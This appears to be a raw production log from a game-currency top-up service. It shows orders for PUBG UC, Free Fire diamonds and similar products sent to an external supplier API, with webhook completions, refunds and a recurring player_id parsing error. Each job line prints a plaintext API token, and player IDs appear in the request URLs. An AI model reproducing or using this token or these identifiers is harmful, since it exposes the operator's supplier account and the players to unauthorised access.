[2026-03-24 14:16:12] production.INFO: Operation sent successfully {"operation_id":163641,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-Hnok5-1774350972","amount":1.5226124999999999243271986415493302047252655029296875,"status":"processing","product":"TAKA Amount","game":"TakaChat","notes":[],"created_at":"2026-03-24 14:16:12"}},"processed_data":{"order_number":"ORD-Hnok5-1774350972","amount":1.5226124999999999243271986415493302047252655029296875,"status":"processing","product":"TAKA Amount","game":"TakaChat"}} 
[2026-03-24 14:16:22] production.INFO: Constructing job for order: 178721  
[2026-03-24 14:16:24] production.INFO: Handling job for order: 178721  
[2026-03-24 14:16:24] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 14:16:24] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 14:16:24] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/88/params?qty=1&uuid=1d12d534-b28a-4141-935d-274552804ea0&Player_ID=13436090398  
[2026-03-24 14:16:24] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/88/params?qty=1&uuid=1d12d534-b28a-4141-935d-274552804ea0&Player_ID=13436090398","has_body":false} 
[2026-03-24 14:16:25] production.INFO: Operation sent successfully {"operation_id":163642,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-o1dAvhk-1774350985","amount":1.879350000000000076028072726330719888210296630859375,"status":"processing","product":"210+20 Diamond","game":"FREEFIRE {R}","notes":[],"created_at":"2026-03-24 14:16:25"}},"processed_data":{"order_number":"ORD-o1dAvhk-1774350985","amount":1.879350000000000076028072726330719888210296630859375,"status":"processing","product":"210+20 Diamond","game":"FREEFIRE {R}"}} 
[2026-03-24 14:16:50] production.INFO: Constructing job for order: 178722  
[2026-03-24 14:16:52] production.INFO: Handling job for order: 178722  
[2026-03-24 14:16:52] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 14:16:52] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 14:16:52] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/591/params?qty=470000&uuid=062e30a1-a8d1-4e9f-877d-d1373e5e7648&Player_ID=1880000  
[2026-03-24 14:16:52] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/591/params?qty=470000&uuid=062e30a1-a8d1-4e9f-877d-d1373e5e7648&Player_ID=1880000","has_body":false} 
[2026-03-24 14:16:53] production.INFO: Operation sent successfully {"operation_id":163643,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-deO-1774351012","amount":45.9877139999999968722477206028997898101806640625,"status":"processing","product":"Yoho Amount","game":"Yoho","notes":[],"created_at":"2026-03-24 14:16:53"}},"processed_data":{"order_number":"ORD-deO-1774351012","amount":45.9877139999999968722477206028997898101806640625,"status":"processing","product":"Yoho Amount","game":"Yoho"}} 
[2026-03-24 14:16:55] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-o1dAvhk-1774350985","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 14:16:55] production.INFO: Processed webhook data (normalized) {"id":"ORD-o1dAvhk-1774350985","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 14:16:55] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 14:16:55] production.INFO: SendAcceptReject: Notification queued {"user_id":14,"notification_type":"order_approved","reference_id":178721} 
[2026-03-24 14:16:55] production.INFO: Order updated successfully. Order ID: 178721, Status: completed  
[2026-03-24 14:16:55] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-o1dAvhk-1774350985","status":"completed","codes_count":0} 
[2026-03-24 14:16:56] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 14  
[2026-03-24 14:17:34] production.INFO: Constructing job for order: 178723  
[2026-03-24 14:17:35] production.INFO: Handling job for order: 178723  
[2026-03-24 14:17:35] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 14:17:35] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 14:17:35] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/88/params?qty=1&uuid=b7081913-9955-4ac4-9bed-815a5cf56c22&Player_ID=13999837679  
[2026-03-24 14:17:35] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/88/params?qty=1&uuid=b7081913-9955-4ac4-9bed-815a5cf56c22&Player_ID=13999837679","has_body":false} 
[2026-03-24 14:17:36] production.INFO: Operation sent successfully {"operation_id":163644,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-FVZL0cY9-1774351055","amount":1.879350000000000076028072726330719888210296630859375,"status":"processing","product":"210+20 Diamond","game":"FREEFIRE {R}","notes":[],"created_at":"2026-03-24 14:17:36"}},"processed_data":{"order_number":"ORD-FVZL0cY9-1774351055","amount":1.879350000000000076028072726330719888210296630859375,"status":"processing","product":"210+20 Diamond","game":"FREEFIRE {R}"}} 
[2026-03-24 14:17:37] production.INFO: Constructing job for order: 178724  
[2026-03-24 14:17:39] production.INFO: Handling job for order: 178724  
[2026-03-24 14:17:39] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 14:17:39] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 14:17:39] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/86/params?qty=1&uuid=c0cea322-d23c-404e-907c-8b33aed7ea0a&Player_ID=13999837679  
[2026-03-24 14:17:39] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/86/params?qty=1&uuid=c0cea322-d23c-404e-907c-8b33aed7ea0a&Player_ID=13999837679","has_body":false} 
[2026-03-24 14:17:40] production.INFO: Operation sent successfully {"operation_id":163645,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-vRhud9T-1774351059","amount":0.9396750000000000380140363631653599441051483154296875,"status":"processing","product":"100+10 Diamond","game":"FREEFIRE {R}","notes":[],"created_at":"2026-03-24 14:17:40"}},"processed_data":{"order_number":"ORD-vRhud9T-1774351059","amount":0.9396750000000000380140363631653599441051483154296875,"status":"processing","product":"100+10 Diamond","game":"FREEFIRE {R}"}} 
[2026-03-24 14:17:49] production.INFO: Constructing job for order: 178725  
[2026-03-24 14:17:51] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-Hnok5-1774350972","status":"completed","notes":["-","جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 14:17:51] production.INFO: Processed webhook data (normalized) {"id":"ORD-Hnok5-1774350972","status":"completed","codes":[],"notes":["-","جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 14:17:51] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 14:17:51] production.INFO: SendAcceptReject: Notification queued {"user_id":312,"notification_type":"order_approved","reference_id":178720} 
[2026-03-24 14:17:51] production.INFO: Order updated successfully. Order ID: 178720, Status: completed  
[2026-03-24 14:17:51] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-Hnok5-1774350972","status":"completed","codes_count":0} 
[2026-03-24 14:17:52] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 312  
[2026-03-24 14:17:52] production.INFO: Handling job for order: 178725  
[2026-03-24 14:17:52] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 14:17:52] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 14:17:52] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=74bfc90a-5c1b-4013-9b4c-3e128847e440&Player_ID=52415836933  
[2026-03-24 14:17:52] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=74bfc90a-5c1b-4013-9b4c-3e128847e440&Player_ID=52415836933","has_body":false} 
[2026-03-24 14:17:53] production.INFO: Operation sent successfully {"operation_id":163646,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-Yhd5C-1774351072","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 14:17:53"}},"processed_data":{"order_number":"ORD-Yhd5C-1774351072","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 14:18:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"ZRO1tm3CuK60tmYF14y6gweBAxGgf3JS","execution_time":"2026-03-24 14:18:02"} 
[2026-03-24 14:18:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"ZRO1tm3CuK60tmYF14y6gweBAxGgf3JS","execution_time":"2026-03-24 14:18:02","total_operations":5,"sites_count":1} 
[2026-03-24 14:18:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"ZRO1tm3CuK60tmYF14y6gweBAxGgf3JS","execution_time":"2026-03-24 14:18:02","site_id":3,"site_name":"swgamessd","orders_count":5,"order_ids":["ORD-9snNM5s-1774348305","ORD-deO-1774351012","ORD-FVZL0cY9-1774351055","ORD-vRhud9T-1774351059","ORD-Yhd5C-1774351072"]} 
[2026-03-24 14:18:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"ZRO1tm3CuK60tmYF14y6gweBAxGgf3JS","execution_time":"2026-03-24 14:18:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 14:18:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"ZRO1tm3CuK60tmYF14y6gweBAxGgf3JS","execution_time":"2026-03-24 14:18:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":5} 
[2026-03-24 14:18:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"ZRO1tm3CuK60tmYF14y6gweBAxGgf3JS","execution_time":"2026-03-24 14:18:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-9snNM5s-1774348305","operation_id":163593} 
[2026-03-24 14:18:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"ZRO1tm3CuK60tmYF14y6gweBAxGgf3JS","execution_time":"2026-03-24 14:18:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-FVZL0cY9-1774351055","operation_id":163644} 
[2026-03-24 14:18:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"ZRO1tm3CuK60tmYF14y6gweBAxGgf3JS","execution_time":"2026-03-24 14:18:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vRhud9T-1774351059","operation_id":163645} 
[2026-03-24 14:18:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"ZRO1tm3CuK60tmYF14y6gweBAxGgf3JS","execution_time":"2026-03-24 14:18:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Yhd5C-1774351072","operation_id":163646} 
[2026-03-24 14:18:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"ZRO1tm3CuK60tmYF14y6gweBAxGgf3JS","execution_time":"2026-03-24 14:18:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Yhd5C-1774351072","operation_id":163646,"processed":1,"skipped":4,"updates_prepared":1} 
[2026-03-24 14:18:02] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"ZRO1tm3CuK60tmYF14y6gweBAxGgf3JS","execution_time":"2026-03-24 14:18:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Yhd5C-1774351072","operation_id":163646,"total_items":1,"chunks":1,"chunk_size":10} 
[2026-03-24 14:18:02] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"ZRO1tm3CuK60tmYF14y6gweBAxGgf3JS","execution_time":"2026-03-24 14:18:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Yhd5C-1774351072","operation_id":163646,"count":1} 
[2026-03-24 14:18:02] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"ZRO1tm3CuK60tmYF14y6gweBAxGgf3JS","execution_time":"2026-03-24 14:18:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Yhd5C-1774351072","operation_id":163646,"count":1} 
[2026-03-24 14:18:02] production.INFO: Bulk processed user refunds {"job":"Quryjob","job_id":"ZRO1tm3CuK60tmYF14y6gweBAxGgf3JS","execution_time":"2026-03-24 14:18:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Yhd5C-1774351072","operation_id":163646,"count":1} 
[2026-03-24 14:18:02] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"ZRO1tm3CuK60tmYF14y6gweBAxGgf3JS","execution_time":"2026-03-24 14:18:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Yhd5C-1774351072","operation_id":163646,"user_id":1488,"notification_type":"order_rejected","reference_id":178722} 
[2026-03-24 14:18:02] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"ZRO1tm3CuK60tmYF14y6gweBAxGgf3JS","execution_time":"2026-03-24 14:18:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Yhd5C-1774351072","operation_id":163646,"chunk_number":1,"processed":1,"errors":0,"total_operations":1,"total_orders":1,"total_codes":0,"total_refunds":1} 
[2026-03-24 14:18:02] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"ZRO1tm3CuK60tmYF14y6gweBAxGgf3JS","execution_time":"2026-03-24 14:18:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Yhd5C-1774351072","operation_id":163646,"total_processed":1,"total_errors":0,"chunks_processed":1} 
[2026-03-24 14:18:02] production.INFO: Batch update completed {"job":"Quryjob","job_id":"ZRO1tm3CuK60tmYF14y6gweBAxGgf3JS","execution_time":"2026-03-24 14:18:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Yhd5C-1774351072","operation_id":163646,"processed":1,"errors":0} 
[2026-03-24 14:18:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"ZRO1tm3CuK60tmYF14y6gweBAxGgf3JS","execution_time":"2026-03-24 14:18:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Yhd5C-1774351072","operation_id":163646,"processed":1,"errors":0} 
[2026-03-24 14:18:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"ZRO1tm3CuK60tmYF14y6gweBAxGgf3JS","execution_time":"2026-03-24 14:18:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Yhd5C-1774351072","operation_id":163646} 
[2026-03-24 14:18:02] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1488  
[2026-03-24 14:18:02] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1488  
[2026-03-24 14:18:03] production.INFO: Constructing job for order: 178726  
[2026-03-24 14:18:04] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-Yhd5C-1774351072","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 14:18:04] production.INFO: Processed webhook data (normalized) {"id":"ORD-Yhd5C-1774351072","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 14:18:04] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 14:18:04] production.INFO: SendAcceptReject: Notification queued {"user_id":148,"notification_type":"order_approved","reference_id":178725} 
[2026-03-24 14:18:04] production.INFO: Order updated successfully. Order ID: 178725, Status: completed  
[2026-03-24 14:18:04] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-Yhd5C-1774351072","status":"completed","codes_count":0} 
[2026-03-24 14:18:05] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 148  
[2026-03-24 14:18:05] production.INFO: Handling job for order: 178726  
[2026-03-24 14:18:05] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 14:18:05] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 14:18:05] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/109/params?qty=10000&uuid=d91a076d-3029-486e-8f4f-8314e7ffa784&Player_ID=1694496583  
[2026-03-24 14:18:05] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/109/params?qty=10000&uuid=d91a076d-3029-486e-8f4f-8314e7ffa784&Player_ID=1694496583","has_body":false} 
[2026-03-24 14:18:06] production.INFO: Operation sent successfully {"operation_id":163647,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-VQTO-1774351086","amount":1.1256000000000001559641304993419907987117767333984375,"status":"processing","product":"Tokens Amount","game":"Jawaker","notes":[],"created_at":"2026-03-24 14:18:06"}},"processed_data":{"order_number":"ORD-VQTO-1774351086","amount":1.1256000000000001559641304993419907987117767333984375,"status":"processing","product":"Tokens Amount","game":"Jawaker"}} 
[2026-03-24 14:18:07] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-vRhud9T-1774351059","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 14:18:07] production.INFO: Processed webhook data (normalized) {"id":"ORD-vRhud9T-1774351059","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 14:18:07] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 14:18:07] production.INFO: SendAcceptReject: Notification queued {"user_id":720,"notification_type":"order_approved","reference_id":178724} 
[2026-03-24 14:18:07] production.INFO: Order updated successfully. Order ID: 178724, Status: completed  
[2026-03-24 14:18:07] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-vRhud9T-1774351059","status":"completed","codes_count":0} 
[2026-03-24 14:18:09] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 720  
[2026-03-24 14:18:12] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-VQTO-1774351086","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 14:18:12] production.INFO: Processed webhook data (normalized) {"id":"ORD-VQTO-1774351086","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 14:18:12] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 14:18:12] production.INFO: SendAcceptReject: Notification queued {"user_id":948,"notification_type":"order_approved","reference_id":178726} 
[2026-03-24 14:18:12] production.INFO: Order updated successfully. Order ID: 178726, Status: completed  
[2026-03-24 14:18:12] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-VQTO-1774351086","status":"completed","codes_count":0} 
[2026-03-24 14:18:15] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 948  
[2026-03-24 14:18:24] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-FVZL0cY9-1774351055","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 14:18:24] production.INFO: Processed webhook data (normalized) {"id":"ORD-FVZL0cY9-1774351055","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 14:18:24] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 14:18:24] production.INFO: SendAcceptReject: Notification queued {"user_id":720,"notification_type":"order_approved","reference_id":178723} 
[2026-03-24 14:18:24] production.INFO: Order updated successfully. Order ID: 178723, Status: completed  
[2026-03-24 14:18:24] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-FVZL0cY9-1774351055","status":"completed","codes_count":0} 
[2026-03-24 14:18:27] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 720  
[2026-03-24 14:18:43] production.INFO: Constructing job for order: 178727  
[2026-03-24 14:18:45] production.INFO: Handling job for order: 178727  
[2026-03-24 14:18:45] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 14:18:45] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 14:18:45] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/55/params?qty=1&uuid=05a0072d-3c0e-4baa-9830-c7ecc50b2dd6&Player_ID=51920045600  
[2026-03-24 14:18:45] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/55/params?qty=1&uuid=05a0072d-3c0e-4baa-9830-c7ecc50b2dd6&Player_ID=51920045600","has_body":false} 
[2026-03-24 14:18:46] production.INFO: Operation sent successfully {"operation_id":163648,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-Hz5oq-1774351125","amount":8.925000000000000710542735760100185871124267578125,"status":"processing","product":"600+60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 14:18:46"}},"processed_data":{"order_number":"ORD-Hz5oq-1774351125","amount":8.925000000000000710542735760100185871124267578125,"status":"processing","product":"600+60UC","game":"PUBG"}} 
[2026-03-24 14:18:57] production.INFO: Constructing job for order: 178728  
[2026-03-24 14:18:58] production.INFO: Handling job for order: 178728  
[2026-03-24 14:18:58] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 14:18:58] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 14:18:58] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/55/params?qty=1&uuid=4040fd7c-e34c-4406-9191-05ac365de8b9&Player_ID=52327878205  
[2026-03-24 14:18:58] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/55/params?qty=1&uuid=4040fd7c-e34c-4406-9191-05ac365de8b9&Player_ID=52327878205","has_body":false} 
[2026-03-24 14:18:59] production.INFO: Operation sent successfully {"operation_id":163649,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-8Nep-1774351138","amount":8.925000000000000710542735760100185871124267578125,"status":"processing","product":"600+60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 14:18:59"}},"processed_data":{"order_number":"ORD-8Nep-1774351138","amount":8.925000000000000710542735760100185871124267578125,"status":"processing","product":"600+60UC","game":"PUBG"}} 
[2026-03-24 14:19:04] production.INFO: Constructing job for order: 178729  
[2026-03-24 14:19:05] production.INFO: Handling job for order: 178729  
[2026-03-24 14:19:05] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 14:19:05] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 14:19:05] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/86/params?qty=1&uuid=3283ad4f-6b8c-4d7a-8291-64929ad2b4fa&Player_ID=12701626467  
[2026-03-24 14:19:05] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/86/params?qty=1&uuid=3283ad4f-6b8c-4d7a-8291-64929ad2b4fa&Player_ID=12701626467","has_body":false} 
[2026-03-24 14:19:05] production.INFO: Operation sent successfully {"operation_id":163650,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-t1cKf-1774351145","amount":0.9396750000000000380140363631653599441051483154296875,"status":"processing","product":"100+10 Diamond","game":"FREEFIRE {R}","notes":[],"created_at":"2026-03-24 14:19:05"}},"processed_data":{"order_number":"ORD-t1cKf-1774351145","amount":0.9396750000000000380140363631653599441051483154296875,"status":"processing","product":"100+10 Diamond","game":"FREEFIRE {R}"}} 
[2026-03-24 14:19:30] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-t1cKf-1774351145","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 14:19:30] production.INFO: Processed webhook data (normalized) {"id":"ORD-t1cKf-1774351145","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 14:19:30] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 14:19:30] production.INFO: SendAcceptReject: Notification queued {"user_id":55,"notification_type":"order_approved","reference_id":178729} 
[2026-03-24 14:19:30] production.INFO: Order updated successfully. Order ID: 178729, Status: completed  
[2026-03-24 14:19:30] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-t1cKf-1774351145","status":"completed","codes_count":0} 
[2026-03-24 14:19:32] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 55  
[2026-03-24 14:19:33] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-Hz5oq-1774351125","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 14:19:33] production.INFO: Processed webhook data (normalized) {"id":"ORD-Hz5oq-1774351125","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 14:19:33] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 14:19:33] production.INFO: SendAcceptReject: Notification queued {"user_id":940,"notification_type":"order_approved","reference_id":178727} 
[2026-03-24 14:19:33] production.INFO: Order updated successfully. Order ID: 178727, Status: completed  
[2026-03-24 14:19:33] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-Hz5oq-1774351125","status":"completed","codes_count":0} 
[2026-03-24 14:19:36] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 940  
[2026-03-24 14:19:39] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-8Nep-1774351138","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 14:19:39] production.INFO: Processed webhook data (normalized) {"id":"ORD-8Nep-1774351138","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 14:19:39] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 14:19:39] production.INFO: SendAcceptReject: Notification queued {"user_id":861,"notification_type":"order_approved","reference_id":178728} 
[2026-03-24 14:19:39] production.INFO: Order updated successfully. Order ID: 178728, Status: completed  
[2026-03-24 14:19:39] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-8Nep-1774351138","status":"completed","codes_count":0} 
[2026-03-24 14:19:41] production.INFO: Constructing job for order: 178730  
[2026-03-24 14:19:42] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 861  
[2026-03-24 14:19:42] production.INFO: Handling job for order: 178730  
[2026-03-24 14:19:42] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 14:19:42] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 14:19:42] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/730/params?qty=18000&uuid=dc1daac1-3319-4280-86f1-7bc45ee23a3c&Player_ID=589084795  
[2026-03-24 14:19:42] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/730/params?qty=18000&uuid=dc1daac1-3319-4280-86f1-7bc45ee23a3c&Player_ID=589084795","has_body":false} 
[2026-03-24 14:19:42] production.INFO: Operation sent successfully {"operation_id":163651,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-CS63wf4-1774351182","amount":1.8271349999999999536015593548654578626155853271484375,"status":"processing","product":"TAKA Amount","game":"TakaChat","notes":[],"created_at":"2026-03-24 14:19:42"}},"processed_data":{"order_number":"ORD-CS63wf4-1774351182","amount":1.8271349999999999536015593548654578626155853271484375,"status":"processing","product":"TAKA Amount","game":"TakaChat"}} 
[2026-03-24 14:19:49] production.INFO: Constructing job for order: 178731  
[2026-03-24 14:19:51] production.INFO: Handling job for order: 178731  
[2026-03-24 14:19:51] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 14:19:51] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 14:19:51] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/54/params?qty=1&uuid=4e2e7804-a52b-4d46-9f2a-8c3827d3a1f0&Player_ID=5703843146  
[2026-03-24 14:19:51] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/54/params?qty=1&uuid=4e2e7804-a52b-4d46-9f2a-8c3827d3a1f0&Player_ID=5703843146","has_body":false} 
[2026-03-24 14:19:52] production.INFO: Operation sent successfully {"operation_id":163652,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-qbRck-1774351192","amount":4.4625000000000003552713678800500929355621337890625,"status":"processing","product":"300+25UC","game":"PUBG","notes":[],"created_at":"2026-03-24 14:19:52"}},"processed_data":{"order_number":"ORD-qbRck-1774351192","amount":4.4625000000000003552713678800500929355621337890625,"status":"processing","product":"300+25UC","game":"PUBG"}} 
[2026-03-24 14:19:53] production.INFO: Constructing job for order: 178732  
[2026-03-24 14:19:55] production.INFO: Handling job for order: 178732  
[2026-03-24 14:19:55] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 14:19:55] production.ERROR: ❌ Invalid player_id JSON: player_id  
